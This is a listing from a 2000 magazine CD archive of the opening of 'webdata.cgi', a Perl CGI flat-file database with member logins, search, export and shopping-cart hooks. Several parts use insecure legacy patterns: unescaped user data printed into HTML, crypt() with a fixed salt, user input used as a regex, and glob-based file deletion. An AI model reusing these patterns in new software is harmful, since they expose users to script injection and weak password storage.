home *** CD-ROM | disk | FTP | other *** search
/ Chip 2000 November / Chip Kasım 2000.iso / prog / kasim / 17 / setup.exe / webdata.cgi < prev   
Encoding:
Text File  |  2000-09-29  |  159.4 KB  |  4,967 lines

  1. #!/usr/bin/perl
  2. $version="2.4d";
  3. #open(STDERR,">&STDOUT"); #Use to find cause of errors.
  4.  
  5. #********* BEGIN BODY********************
  6. $uploadsdir=''; #Must end with a /
  7. $uploadsURL=''; #Must end with a /
  8. $password="";
  9.  
  10. $logdir=''; #Must end with a / or is empty if log files are local to script.
  11.  
  12. $logfile="${logdir}data.log";
  13. $fieldnames="${logdir}fields.log";
  14. $members="${logdir}members.log";
  15. $reportdata="${logdir}report.log";
  16. $code='0000';
  17. $vendor="WT";
  18.  
  19. &readparse; 
  20. #BEGIN { $UnixCrypt::OVERRIDE_BUILTIN = 1 }
  21. #use UnixCrypt;
  22. if ($user_data{cgifunction} eq "exportset") {
  23.   print "Content-type: text/plain\n\n";
  24. } else {
  25.   print "Content-type: text/html\n\n";
  26. }
  27. if ((!(-e $logdir))&&(length($logdir)>0)) {&error("Could not find logs directory $logdir")};
  28. &getReportInfo;
  29.  
  30. &user if ($user_data{cgifunction} eq "user");
  31. &add if ($user_data{cgifunction} =~/^(Add|Hinzufⁿgen|Ajouter|Aggiungi|Agregar|Toevoegen|Incluir)$/);
  32. &adminsearch  if ($user_data{cgifunction} eq "Search/modify");
  33. &maintenance if ($user_data{cgifunction} eq "maintenance");
  34. &delete if $user_data{cgifunction} eq "delete";
  35. &modify if $user_data{cgifunction} eq "modify";
  36. &admin if $user_data{cgifunction} eq "admin";
  37. &usersearch if $user_data{cgifunction} =~/^(Search|Suchen|Chercher|Cerca|Buscar|Zoeken|Pesquisar)$/;
  38. &import if $user_data{cgifunction} eq "Import data";
  39. &import2 if $user_data{cgifunction} eq "import2";
  40. &export if $user_data{cgifunction} eq "Export data";
  41. &export2 if $user_data{cgifunction} eq "export2";
  42. &cache if $user_data{cgifunction} eq "cache";
  43. &fieldmod if $user_data{cgifunction} eq "Modify fields";
  44. &deleteField if $user_data{cgifunction} eq "deleteField";
  45. &insertField if $user_data{cgifunction} eq "insertField";
  46. &renameField if $user_data{cgifunction} eq "renameField";
  47. &nextprev if $user_data{cgifunction} =~ /^(Next Page|NΣchste Seite|Page suivante|Pagina Successiva|Pßgina Siguiente|Volgende pagina|Pr≤xima Pßgina)$/;
  48. &nextprev if $user_data{cgifunction} =~ /^(Previous Page|Vorherige Seite|Page prΘcΘdente|Pagina Precedente|Pßgina Anterior|Vorige pagina|Pßgina Anterior)$/;
  49. &members if $user_data{cgifunction} eq "Members";
  50. &addmember if $user_data{cgifunction} eq "Add Member";
  51. &deletemember if $user_data{cgifunction} eq "Delete Member";
  52. &memberpage if $user_data{cgifunction} eq "memberpage";
  53. &memberadd if $user_data{cgifunction} eq "add";
  54. &reportpage if $user_data{cgifunction} eq "Customize Pages";
  55. &modifyreport if $user_data{cgifunction} eq "Modify Pages";
  56. &deleteset if $user_data{cgifunction} eq "deleteset";
  57. &form if ($user_data{cgifunction} eq "form");
  58. &sqlform if ($user_data{cgifunction} eq "sqlform");
  59. &instantmember if ($user_data{cgifunction} eq "instantmember");
  60. &exportset if ($user_data{cgifunction} eq "exportset");
  61. &recordcount if ($user_data{cgifunction} eq "recordcount");
  62. &replace if ($user_data{cgifunction} eq "replace");
  63. &wtcart::configurecart  if ($user_data{cgifunction} eq "Configure Shopping Cart");
  64. &wtcart::saveCartSettings if ($user_data{cgifunction} eq "Save Cart Settings");
  65. &wtcart::checkout if ($user_data{cgifunction} eq "checkout");
  66. &wtcart::checkout2 if ($user_data{cgifunction} eq "checkout2");
  67. &wtcart::checkout3 if ($user_data{cgifunction} eq "checkout3");
  68. &wtcart::viewcart if ($user_data{cgifunction} eq "viewcart");
  69. &wtcart::savecart if ($user_data{cgifunction} eq "savecart");
  70. &wtcart::emptycart if ($user_data{cgifunction} eq "emptycart");
  71. &wtcart::refreshcart if ($user_data{cgifunction} eq "refreshcart");
  72. &wtcart::process if ($user_data{cgifunction} eq "process order");
  73. &wtcart::retrieveOrders if ($user_data{cgifunction} eq "Retrieve Orders");
  74. &wtcart::deleteOrders if ($user_data{cgifunction} eq "Delete Orders");
  75. &error('There is no value for cgifunction') if $user_data{cgifunction} eq "";
  76.  
  77. sub error {
  78.   print "$_[0]<P>\n";
  79.   die "$_[0] $!";
  80. }
  81.  
  82.  
  83. #*****BEGIN INSTANTMEMBER SUBROUTINE
  84. sub instantmember {
  85.         &error("Instant Member disabled by admin") if $allowInstantMember!=1;
  86.         if ($user_data{username} eq "admin") {
  87.                 print "<SCRIPT>alert(\'admin is a reserved name\')\;\n";
  88.                 print "history.go(-1)\;</SCRIPT>";
  89.                 exit;
  90.         };
  91.         &putlock;
  92.         open(FILE,"<$members");
  93.         @members=<FILE>;
  94.         close FILE;
  95.         &removelock;
  96.         foreach (@members) {
  97.                 ($user,$pass)=split(/::/);
  98.                 if ($user_data{username} eq $user) {
  99.                         print "<SCRIPT>\n";
  100.                         print "alert(\'That name is already used. Please choose another\')\n";
  101.    print "history.go(-1)\;";
  102.                         print "</SCRIPT>";
  103.                         exit;
  104.                 };
  105.         };
  106.         $pass=crypt($user_data{password},7);
  107.         $line="$user_data{username}::$pass\n";
  108.         &putlock;
  109.         open(FILE,">>$members");
  110.                 print FILE ("$line");
  111.         close FILE;
  112.         &removelock;
  113.  &memberpage;
  114. };
  115. #****END INSTANTMEMBER SUBROUTINE
  116.  
  117. sub form {
  118.   if ($usersearch!=1) {
  119.     if ($membersCanSearch) {
  120.       &memberpass;
  121.     } else {
  122.       &checkpass;
  123.     };
  124.   };
  125.   &wtcart::resultPageScript if $useCart;
  126.   &language;
  127.   pop(@value);
  128.   $id=$user_data{fid};
  129.   
  130.   if ($formTemplateOn != 1) {
  131.     print "
  132. <HEAD><TITLE>FORM DATA</TITLE></HEAD>
  133. <BODY bgcolor=\"$reportColor\"";
  134.     if (length($background)>0) {print " BACKGROUND=\"$background\""};
  135.     print ">
  136. $reportHeader
  137. <TABLE width=100% bgcolor=white border=1>
  138. <TH WIDTH=20%></TH><TH></TH>
  139.   ";
  140.   };
  141.   open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames");
  142.   @fieldsData=<FIELDS>;
  143.   close FIELDS;
  144.   foreach (@fieldsData) {
  145.     ($field,$type)=split(/::/);
  146.     push(@fields,"$field\n");
  147.     push(@types,"$type");
  148.   };
  149.   shift(@fields);
  150.   shift(@types);
  151.   chomp(@fields);
  152.   &putlock; #place a lock file in the uploads dir to prevent simultanious writing.
  153.   open(READLOG,"<$logfile") or &error("Could not open $logfile");
  154.   @entrydata = <READLOG>;
  155.   close READLOG;
  156.   chomp(@entrydata);
  157.   &removelock; #remove lock file
  158.   foreach $entry (@entrydata) {
  159.     @parsed = split(/::/,$entry);
  160.     if ($parsed[0] eq $id) {@data = @parsed};
  161.   };
  162.   $num = @fields;
  163.   $id=shift(@data);
  164.   $owner=pop(@data);
  165.   if ($formTemplateOn != 1) {
  166.     for ($i=0;$i<$num;$i++) {
  167.       #    $data[$i]=~s/\"/'"'/ge;
  168.       $data[$i]=~s/^([0-9a-zA-Z_\-\.\~]+\@[0-9a-zA-Z_\-\.\~]+\.[0-9a-zA-Z_\-\.\~]+)/<A HREF=mailto:$1>$1<\/A>/;
  169.       if ($data[$i]=~/^([^ ]+\.(gif|jpg))$/i) {
  170.     $data[$i]="<IMG SRC=$1>";
  171.       } else {
  172.     &gettype($types[$i+1]);
  173.     if ($type ne "upload") {
  174.       $data[$i]=~s/^(http[^ ]+)/<A HREF=$1>$1<\/A>/;
  175.     } else {
  176.       @filenameparts=split('_',$data[$i]);
  177.       $filename=@filenameparts[$#filenameparts];
  178.       $data[$i]=~s/^(http[^ \<\>]+)/<A HREF=$1>$filename<\/A>/g;    
  179.     }
  180.       };
  181.       if ($data[$i] eq "") {$data[$i]=' '};
  182.       print "<TR><TD><B>$fields[$i]</B></TD><TD>$data[$i]</TD></TR>\n";
  183.     };
  184.     
  185.     print "</TABLE>";
  186.   };
  187.   &template if $formTemplateOn==1;
  188.   if ($useCart) {
  189.     print qq(<FORM NAME="vf">);
  190.     print qq(<INPUT TYPE=HIDDEN NAME="cgifunction">
  191.              <INPUT TYPE=HIDDEN NAME="query" VALUE="$querystring"></FORM>);
  192.     unless ($formTemplateOn) {
  193.       print qq(<FORM NAME="cart1">\n);
  194.       print &wtcart::addButton("cart1");
  195.     print qq(</FORM>);
  196.     }
  197.   }
  198.   &wtcart::footer_cart_buttons if $useCart;
  199.   print "<P>
  200. <A HREF=\"$cgilocation?$user_data{query}\"><B>Back to Search Results</B></A> 
  201. \ \;
  202. " if length($user_data{query})>0;
  203.   if
  204.     ((length($user_data{cgilanguage})>0)&&($searchPage=~/cgifunction=user$/))
  205.       {
  206.     $searchPage.="\&language=$user_data{cgilanguage}";
  207.       }
  208.  
  209.   print "\ \;\ \;<A HREF=\"$searchPage\"><B>$searchagain</B></A>\n" if $searchAgain;
  210.   print "\ \;\ \;<A HREF=\"$homepage\"><B>$returntohomepage</B></A>\n" if $returnToHomepage;
  211. print "<P><font size=-1><I>$poweredbywebteacher</I>";
  212. };
  213.  
  214. #*******END FORM SUBROUTINE******
  215.  
  216. #BEGIN TEMPLATE
  217. sub template {
  218.   $uploadcount=1;
  219.   @escape=();
  220.   foreach (@data) {
  221.     $tempescape=escape($_);
  222.     push(@escape,$tempescape);
  223.     if (!$templateNoSubstitute) {   
  224.       &gettype($types[$uploadcount]);
  225.       
  226. s/^([0-9a-zA-Z_\-\.\~]+\@[0-9a-zA-Z_\-\.\~]+\.[0-9a-zA-Z_\-\.\~]+)/<A
  227. HREF=mailto:$1>$1<\/A>/g;
  228.       if ($_!~/\.(gif|jpg)$/) {
  229.         if ($type eq "upload") { 
  230.           @filenameparts=split('_',$_);
  231.           $filename=@filenameparts[$#filenameparts];
  232.           $_=~s/^(http[^ \<\>]+)/<A HREF=$1>$filename<\/A>/g;
  233.         } else {
  234.           s/^(http[^ ]+)/<A HREF=$1>$1<\/A>/g;
  235.         };
  236.       };
  237.     s/^([^ ]+\.(gif|jpg))$/\<IMG SRC=$1\>/g;
  238.     $uploadcount++;
  239.   };
  240. };
  241.   $dateCreated=&getDate($id);
  242.   $formTemplate=~s/(\$if[^\}]*\})/&getIf($1)/ge;
  243.   $formTemplate=~s/\$data\[([0-9]+)\]/$data[$1]/g;
  244.   $formTemplate=~s/\$escape\[([0-9]+)\]/$escape[$1]/g;
  245.   $formTemplate=~s/\$fields\[([0-9]+)\]/$fields[$1]/g;
  246.   $formTemplate=~s/\$id/$id/g;
  247.   $formTemplate=~s/\$datecreated/$dateCreated/g;
  248.   $formTemplate=~s/\$membername/$owner/g;
  249.   if ($useCart) {
  250.     $tmp=&wtcart::addButton("cart1");
  251.     $formTemplate=~s/\$addbutton/<FORM NAME=\"cart1\">$tmp<\/FORM>/g;
  252.   }
  253.  
  254.   print ($formTemplate);
  255. };
  256. #END TEMPLATE
  257.  
  258. # URL-encode data
  259. sub escape {
  260.     shift() if ref($_[0]) || $_[0] eq $DefaultClass;
  261.     my $toencode = shift;
  262.     return undef unless defined($toencode);
  263.     $toencode=~s/([^a-zA-Z0-9_.-])/uc sprintf("%%%02x",ord($1))/eg;
  264.     return $toencode;
  265. }
  266.  
  267. # unescape URL-encoded data
  268. sub unescape {
  269.     shift() if ref($_[0]);
  270.     my $todecode = shift;
  271.     return undef unless defined($todecode);
  272.     $todecode =~ tr/+/ /;       # pluses become spaces
  273.     $todecode =~ s/%([0-9a-fA-F]{2})/pack("c",hex($1))/ge;
  274.     return $todecode;
  275. }
  276. #******BEGIN DELETE SET SUBROUTINE*******
  277. sub deleteset {
  278. &memberpass;
  279. &putlock; #place a lock file in the uploads dir to prevent simultanious writing.
  280. open(READLOG,"<$logfile") or &error("Could not open $logfile");
  281. @entries = <READLOG>;
  282. close READLOG;
  283. &removelock; #remove lock file
  284. foreach $line (@entries) {
  285.    @data=split(/::/,$line);
  286.       $len=@data;
  287.       $owner=$data[$len-1];
  288.       chop($owner);
  289.       $id=$_;
  290.       if (($user_data{foundset}!~$data[0])||(($userid ne "admin")&&($userid ne $owner))) {
  291.       push(@result,$line);
  292.    } else {
  293.       $uploadpath="${uploadsdir}${data[0]}";
  294.       unlink <$uploadpath*>;
  295.    };
  296. };
  297.  
  298. &putlock; #place a lock file in the uploads dir to prevent simultanious writing.
  299. open(PUTLOG, ">$logfile") or &error("Content-type: text/html\n\n
  300. <BODY BGCOLOR=WHITE><CENTER><H2>Could not open the file $logfile<P>
  301. If you have moved the file, you can correct this by changing lines 10 and 11
  302. of the webdata_[database name].cgi script to show the absolute path to the file.<P><P><P></h2>
  303. This cgi error was ");
  304. print PUTLOG (@result);
  305. close PUTLOG;
  306. &removelock; #remove lock file
  307.  
  308. @value=();
  309. if ($userid eq "admin") {&admin} else {&memberpage};
  310. };
  311.  
  312. #******END DELETE SET SUBROUTINE*********
  313.  
  314. #******BEGIN RECORD COUNT SUBROUTINE ******
  315. sub recordcount {
  316.   &putlock; #place a lock file in the uploads dir to prevent simultanious writing.
  317.   open(READLOG,"<$logfile") or &error("Could not open $logfile");
  318.   @entries = <READLOG>;
  319.   close READLOG;
  320.   &removelock; #remove lock file
  321.   print $#entries+1;
  322. }
  323. #******END RECORD COUNT SUBROUTINE ******
  324.  
  325. #******BEGIN EXPORT SET SUBROUTINE ******
  326. sub exportset {
  327.   &memberpass;
  328.   &putlock; #place a lock file in the uploads dir to prevent simultanious writing.
  329.   open(READLOG,"<$logfile") or &error("Could not open $logfile");
  330.   @entries = <READLOG>;
  331.   close READLOG;
  332.   &removelock; #remove lock file
  333.   chomp(@entries);
  334.   if ($user_data{delimiter} eq "comma") {
  335.     $delimiter=',';
  336.   } elsif ($user_data{delimiter} eq "tab"){
  337.     $delimiter="\t";
  338.   } else {
  339.     $delimiter="\|";
  340.   };
  341.   $d2=$delimiter;
  342.   $d2="\\|" if $d2 eq "\|";
  343.   foreach $line (@entries) {
  344. #    $line=~s/,/\[COMMA\]/g if $delimiter eq ',';
  345.     @data=split(/::/,$line);
  346.     $len=@data;
  347.     $owner=$data[$len-1];
  348.     if ($user_data{foundset}=~/$data[0]/) {
  349.       $id=shift(@data);
  350.       $dateCreated=&getDate($id);
  351.       unshift(@data,$id,$dateCreated) if $user_data{includeID};
  352.       pop(@data) if !$user_data{includeID};
  353.       foreach (@data) {
  354.     if (/$d2/) {
  355.       $_=~s/\"/\"\"/g;
  356.       $_="\"$_\"";
  357.     }
  358.       }
  359.       $delimiter="\|" if $delimiter eq "\\\|";
  360.       $newline=join($delimiter,@data);
  361.       push(@result,"$newline\n");
  362.     };
  363.   }; 
  364.   print (@result);
  365. }
  366. #******END EXPORT SET SUBROUTINE ********
  367.  
  368. #******BEGIN MODIFY REPORT.LOG FILE*******
  369. sub modifyreport {
  370. &checkpass;
  371. open(FILE,">$reportdata") or &error("Could not open $reportdata");
  372. $user_data{header}=~s/\r?\n/::/g;
  373. $user_data{header}=~s/\<\;/</g;
  374. $user_data{searchHeader}=~s/\r?\n/::/g;
  375. $user_data{searchHeader}=~s/\<\;/</g;
  376. $user_data{reportFooter}=~s/\r?\n/::/g;
  377. $user_data{reportFooter}=~s/\<\;/</g;
  378. $user_data{reportPageFooter}=~s/\r?\n/::/g;
  379. $user_data{reportPageFooter}=~s/\<\;/</g;
  380. $user_data{searchTemplate}=~s/\r?\n/::/g;
  381. $user_data{searchTemplate}=~s/\<\;/</g;
  382. $user_data{formTemplate}=~s/\r?\n/::/g;
  383. $user_data{formTemplate}=~s/\<\;/</g;
  384. $user_data{maintenanceTemplate}=~s/\r?\n/::/g;
  385. $user_data{maintenanceTemplate}=~s/\<\;/</g;
  386. $user_data{tableFont}=~s/\"/\"\;/g;
  387. if ($user_data{form} eq "on") {
  388.     $form=1;
  389. } else {
  390.     $form=0;
  391. };
  392. if ($user_data{searchTemplateOn} eq "on") {
  393.     $searchTemplateOn=1;
  394. } else {
  395.     $searchTemplateOn=0;
  396. };
  397. if ($user_data{formTemplateOn} eq "on") {
  398.     $formTemplateOn=1;
  399. } else {
  400.     $formTemplateOn=0;
  401. };
  402. if ($user_data{maintenanceTemplateOn} eq "on") {
  403.     $maintenanceTemplateOn=1;
  404. } else {
  405.     $maintenanceTemplateOn=0;
  406. };
  407. if ($user_data{allowInstantMember} eq "on") {
  408.  $allowInstantMember=1;
  409. } else {
  410.  $allowInstantMember=0;
  411. }
  412. if ($user_data{europeanDates} eq "on") {
  413.  $europeanDates=1;
  414. } else {
  415.  $europeanDates=0;
  416. }
  417.  
  418. if ($user_data{disableFileLocking} eq "on") {
  419.  $disableFileLocking=1;
  420. } else {
  421.  $disableFileLocking=0;
  422. }
  423.  
  424. if ($user_data{hideBorder} eq "on") {
  425.  $hideBorder=1;
  426. } else {
  427.  $hideBorder=0;
  428. }
  429.  
  430. if ($user_data{usesql} eq "on") {
  431.  $usesql=1;
  432. } else {
  433.  $usesql=0;
  434. }
  435.  
  436. if ($user_data{useradd} eq "on") {
  437.  $useradd=1;
  438. } else {
  439.  $useradd=0;
  440. }
  441.  
  442. if ($user_data{usersearch} eq "on") {
  443.  $usersearch=1;
  444. } else {
  445.  $usersearch=0;
  446. }
  447.  
  448. if ($user_data{membersCanSearch} eq "on") {
  449.   $membersCanSearch=1;
  450. } else {
  451.   $membersCanSearch=0;
  452. }
  453.  
  454. if ($user_data{limitMemberSearch} eq "on") {
  455.   $limitMemberSearch=1;
  456. } else {
  457.   $limitMemberSearch=0;
  458. }
  459.  
  460.  
  461.  
  462. if ($user_data{membersCanAdd} eq "on") {
  463.   $membersCanAdd=1;
  464. } else {
  465.   $membersCanAdd=0;
  466. }
  467.  
  468. if ($user_data{limitMembers} eq "on") {
  469.   $limitMembers=1;
  470. } else {
  471.   $limitMembers=0;
  472. }
  473.  
  474. if ($user_data{searchbox} eq "on") {
  475.   $searchbox=1;
  476. } else {
  477.   $searchbox=0;
  478. }
  479.  
  480. if ($user_data{templateNoSubstitute} eq "on") {
  481.   $templateNoSubstitute=1;
  482. } else {
  483.   $templateNoSubstitute=0;
  484. }
  485.  
  486. if ($user_data{showCriteria} eq "on") {
  487.   $showCriteria=1;
  488. } else {
  489.   $showCriteria=0;
  490. }   
  491.  
  492. if ($user_data{gotoPage} eq "on") {
  493.   $gotoPage=1;
  494. } else {
  495.   $gotoPage=0;
  496. }   
  497.  
  498. if ($user_data{nextprevButtons} eq "on") {
  499.   $nextprevButtons=1;
  500. } else {
  501.   $nextprevButtons=0;
  502. }   
  503.  
  504. if ($user_data{searchAgain} eq "on") {
  505.   $searchAgain=1;
  506. } else {
  507.   $searchAgain=0;
  508. }   
  509.  
  510. if ($user_data{returnToHomepage} eq "on") {
  511.   $returnToHomepage=1;
  512. } else {
  513.   $returnToHomepage=0;
  514. }   
  515.  
  516. if ($user_data{useCart} eq "on") {
  517.   $useCart=1;
  518. } else {
  519.   $useCart=0;
  520. }   
  521.  
  522.  
  523. #required fields
  524. open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames");
  525. @fieldsData=<FIELDS>;
  526. close FIELDS;
  527. @fields=();
  528. @types=();
  529. foreach (@fieldsData) {
  530.     ($field,$type)=split(/::/);
  531.     push(@fields,"$field\n");
  532.     push(@types,"$type");
  533. };
  534. shift(@fields);
  535. chomp(@fields);
  536. $i=0;
  537. foreach (@fields) {
  538.   $fieldname=$_;
  539.   $fieldname=~s/ //g;
  540.   $boxname="${fieldname}_required";
  541.   if ($user_data{$boxname} eq "on") {
  542.     push (@requiredfields,$i);
  543.   }
  544.   $i++;
  545. }
  546. $reqfields=join(',',@requiredfields);
  547.  
  548. #chop($user_data{seqnums});
  549. print FILE ("$user_data{color}\n$user_data{header}\n$user_data{seqnums}\n$user_data{sort}\n");
  550. print FILE ("$user_data{order}\n$user_data{numrows}\n$form\n");
  551. print FILE ("$user_data{searchHeader}\n$user_data{searchInfo}\n$user_data{viewButtonLabel}\n");
  552. print FILE ("$searchTemplateOn\n$user_data{searchTemplate}\n");
  553. print FILE ("$formTemplateOn\n$user_data{formTemplate}\n$user_data{searchPage}\n$user_data{limitAdminColumns}\n");
  554. print FILE ("$allowInstantMember\n$europeanDates\n$user_data{sort2}\n$user_data{order2}\n$user_data{reportFooter}\n");
  555. print FILE ("$user_data{headerColor}\n$user_data{rowColor1}\n$user_data{rowColor2}\n$user_data{formSeqnums}\n");
  556. print FILE ("$hideBorder\n$user_data{tableFont}\n$usesql\n$user_data{dsn}\n$user_data{tablename}\n");
  557. print FILE ("$user_data{primarykey}\n$useradd\n$usersearch\n$user_data{homepage}\n$user_data{memberpage}\n");
  558. print FILE ("$membersCanSearch\n$membersCanAdd\n$searchbox\n$user_data{background}\n$user_data{viewButtonImage}\n");
  559. print FILE ("$user_data{email}\n$user_data{sendmail}\n$user_data{language}\n$user_data{textcolor}\n$user_data{linkcolor}\n");
  560. print FILE ("$user_data{vlinkcolor}\n$reqfields\n$templateNoSubstitute\n$limitMembers\n$limitMemberSearch\n");
  561. print FILE ("$disableFileLocking\n$user_data{registereddb}\n$showCriteria\n$maintenanceTemplateOn\n");
  562. print FILE ("$user_data{maintenanceTemplate}\n$gotoPage\n$nextprevButtons\n$searchAgain\n$returnToHomepage\n");
  563. print FILE ("$user_data{reportPageFooter}\n$user_data{searchlog}\n$useCart\n");
  564. close FILE;
  565. &wtcart::retainSettings if $useCart;
  566. &reportpage;
  567. };
  568. #******END MODIFY REPORT.LOG FILE*******
  569.  
  570. sub getReportInfo{
  571. @reportData=();
  572. open(FILE,"<$reportdata") or &error("Could not open $reportdata");
  573. @reportData=<FILE>;
  574. close FILE;
  575. chomp(@reportData);
  576.  
  577. $reportColor=$reportData[0];
  578. $reportHeader=$reportData[1];
  579.   $reportHeader=~s/::/\n/g;
  580. $reportSequence=$reportData[2];
  581.   @sequence=split(/:/,$reportSequence);
  582. $reportSort=$reportData[3];
  583. $reportOrder=$reportData[4];
  584. $reportLines=$reportData[5];
  585.   $reportLines=15 if $reportLines eq "";
  586. $reportForm=$reportData[6];
  587. $searchHeader=$reportData[7];
  588.   $searchHeader=~s/::/\n/g;
  589. $searchInfo=$reportData[8];
  590. $viewButtonLabel=$reportData[9];
  591. $searchTemplateOn=$reportData[10];
  592. $searchTemplate=$reportData[11];
  593.   $searchTemplate=~s/::/\n/g;
  594. $formTemplateOn=$reportData[12];
  595. $formTemplate=$reportData[13];
  596.   $formTemplate=~s/::/\n/g;
  597. $searchPage=$reportData[14];
  598.   $searchPageBox=$searchPage;
  599.   if (length($searchPage)==0) {$searchPage="${cgilocation}?cgifunction=user"};
  600. $limitAdminColumns=$reportData[15];
  601. $allowInstantMember=$reportData[16];
  602. $europeanDates=$reportData[17];
  603. $reportSort2=$reportData[18];
  604. $reportOrder2=$reportData[19];
  605. $reportFooter=$reportData[20];
  606.   $reportFooter=~s/::/\n/g;
  607. $headerColor=$reportData[21];
  608. $rowColor1=$reportData[22];
  609. $rowColor2=$reportData[23];
  610. $searchFormSequence=$reportData[24];
  611.   @SFsequence=split(':',$searchFormSequence);
  612. $hideBorder=$reportData[25];
  613. $tableFont=$reportData[26];
  614. $usesql=$reportData[27];
  615. $dsn=$reportData[28];
  616. $tablename=$reportData[29];
  617. $primarykey=$reportData[30];
  618. $useradd=$reportData[31];
  619. $usersearch=$reportData[32];
  620. $homepage=$reportData[33];
  621. $memberpage=$reportData[34];
  622. $membersCanSearch=$reportData[35];
  623. $membersCanAdd=$reportData[36];
  624. $searchbox=$reportData[37];
  625. $background=$reportData[38];
  626. $viewButtonImage=$reportData[39];
  627. $email=$reportData[40];
  628. $sendmail=$reportData[41];
  629. $language=$reportData[42];
  630. $textcolor=$reportData[43];
  631. $linkcolor=$reportData[44];
  632. $vlinkcolor=$reportData[45];
  633. $reqfields=$reportData[46];
  634. $templateNoSubstitute=$reportData[47];
  635. $limitMembers=$reportData[48];
  636. $limitMemberSearch=$reportData[49];
  637. $disableFileLocking=$reportData[50];
  638. $registereddb=$reportData[51];
  639. $showCriteria=$reportData[52];
  640. $maintenanceTemplateOn=$reportData[53];
  641. $maintenanceTemplate=$reportData[54];
  642.   $maintenanceTemplate=~s/::/\n/g;
  643. $gotoPage=$reportData[55];
  644. $nextprevButtons=$reportData[56];
  645. $searchAgain=$reportData[57];
  646. $returnToHomepage=$reportData[58];
  647. $reportPageFooter=$reportData[59];
  648.   $reportFooter=~s/::/\n/g;
  649. $searchlog=$reportData[60];
  650. $useCart=$reportData[61];
  651.  
  652. &wtcart::getcartdata if $hascart;
  653. }
  654.  
  655. #*******BEGIN REPORT PAGE SUBROUTINE********
  656. sub reportpage {
  657. &checkpass;
  658. &getReportInfo;
  659. open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames");
  660. @fieldsData=<FIELDS>;
  661. close FIELDS;
  662. @fields=();
  663. @types=();
  664. foreach (@fieldsData) {
  665.     ($field,$type)=split(/::/);
  666.     push(@fields,"$field\n");
  667.     push(@types,"$type");
  668. };
  669. shift(@fields);
  670. chomp(@fields);
  671. $len=@fields;
  672.  
  673.   $reportHeader=~s/</\<\;/g;
  674.   $searchHeader=~s/</\<\;/g;
  675.   $searchTemplate=~s/</\<\;/g;
  676.   $formTemplate=~s/</\<\;/g;
  677.   $maintenanceTemplate=~s/</\<\;/g;
  678. print "
  679. <HEAD><TITLE>Webdata Preferences</TITLE>
  680. <SCRIPT>
  681. nav=navigator.userAgent\;
  682. if (nav.indexOf(\'MSIE 3\')>0) {IE3=true} else {IE3=false}\;
  683.  
  684. function clearSequence (s,box) {
  685.     if (IE3) {
  686.       alert(\"Sorry, MSIE 3 does not support dynamic lists. \\nYou must use MSIE 4+ or Netscape 3+ to use this function\")\;
  687.     } else {
  688.       s.options.length=0\;
  689.       box.value=\"\"\;
  690.     }\;
  691. }\;
  692.  
  693. function setseq(L,R,box) {
  694.     if (IE3) {
  695.       alert(\"Sorry, MSIE 3 does not support dynamic lists. \\nYou must use MSIE 4+ or Netscape 3+ to use this function\")\;
  696.     } else {
  697.     var len=R.options.length\;
  698.     R.options.length++\;
  699.     i=L.selectedIndex\;
  700.     R.options[len].text=L.options[i].text\;
  701.     R.options[len].value=i\;
  702.     setnums(R,box)\;
  703.     }
  704. }\;
  705.  
  706. function setnums(s,boxname) {
  707.     var len=s.options.length\;
  708.     result=\"\"\;
  709.     for (i=0;i<len;i++) {
  710.         result+=s.options[i].value+\":\"
  711.     }\;
  712.     boxname.value=result\;
  713. }\;
  714.  
  715. function loadScript() {
  716.   f=document.form1;
  717.   setnums(f.sequence,f.seqnums)\;
  718.   setnums(f.searchFormSequence,f.formSeqnums)\;  
  719. }
  720. </SCRIPT></HEAD>
  721.  
  722. <BODY BGCOLOR=\"BEIGE\" onLoad=\"loadScript()\">
  723. <h3 align=center>Preferences for the user search page and search results</h3>
  724. <FORM NAME=\"form1\" ACTION=\"$cgilocation\" METHOD=POST>
  725. <table border=0 width=95\%>
  726. <tr><td align=right><INPUT TYPE=SUBMIT NAME=\"cgifunction\" VALUE=\"Modify Pages\"></td></tr>
  727. <tr><td align=right><A HREF=\'$cgilocation?cgifunction=admin\'><B>Return to Administration Page</B></A></td></tr>
  728. <tr><td align=right><A HREF=\"$searchPage\"><B>Test your modifications on the User Search Page</B></A></td></tr>
  729. <tr><td align=right><A HREF=\"\#bottom\">Scroll to bottom of page</A></td></tr>
  730. </table>
  731.  
  732. <B>Choose a language: </B>
  733. <SELECT NAME=\"language\" SIZE=1>
  734. <OPTION";
  735.   print " SELECTED" if $language eq "English";
  736. print ">English
  737. <OPTION";
  738.   print " SELECTED" if $language eq "German";
  739. print ">German
  740. <OPTION";  print " SELECTED" if $language eq "French";
  741. print ">French
  742. <OPTION";  print " SELECTED" if $language eq "Spanish";
  743. print ">Spanish
  744. <OPTION"; print " SELECTED" if $language eq "Italian";
  745. print ">Italian
  746. <OPTION"; print " SELECTED" if $language eq "Dutch";
  747. print ">Dutch
  748. <OPTION"; print " SELECTED" if $language eq "Portuguese";
  749. print ">Portuguese
  750. </SELECT><BR>
  751. <I>This changes the buttons and instructions on the user search page only.</I>
  752. <P>
  753.  
  754. <B>Page Colors:</B><BR>
  755. Enter a standard color or hex triplet, and/or a background image.<BR>
  756. <i>This will apply to all 3 pages, the initial search page, the search results table, and the 'view button' form.</i><BR>
  757. <TABLE BORDER=0>
  758. <TR><TD ALIGN=RIGHT>\<\;BODY BGCOLOR=</TD>
  759. <TD>\"<INPUT TYPE=TEXT NAME=\"color\" VALUE=\"$reportColor\">\"</TD></TR>
  760. <TR><TD ALIGN=RIGHT>BACKGROUND=</TD>
  761. <TD>\"<INPUT TYPE=TEXT SIZE=40 NAME=\"background\" VALUE=\"$background\">\"</TD></TR>
  762. <TR><TD ALIGN=RIGHT>TEXT=<TD>\"<INPUT TYPE=TEXT SIZE=20 NAME=\"textcolor\" VALUE=\"$textcolor\">\"</TD></TR>
  763. <TR><TD ALIGN=RIGHT>LINK=<TD>\"<INPUT TYPE=TEXT SIZE=20 NAME=\"linkcolor\" VALUE=\"$linkcolor\">\"</TD></TR>
  764. <TR><TD ALIGN=RIGHT>VLINK=<TD>\"<INPUT TYPE=TEXT SIZE=20 NAME=\"vlinkcolor\" VALUE=\"$vlinkcolor\">\"\>\;</TD></TR>
  765. </TABLE>
  766. <HR>
  767. <P>
  768. <B>Header for search page:</B><BR>
  769. <I>This will go at the top of the search input form that users come to first.</I><BR>
  770. Enter any header text and/or images using HTML code:<BR>
  771. <TEXTAREA NAME=\"searchHeader\" COLS=60 ROWS=8 WRAP=VIRTUAL>$searchHeader</TEXTAREA><P>
  772.  
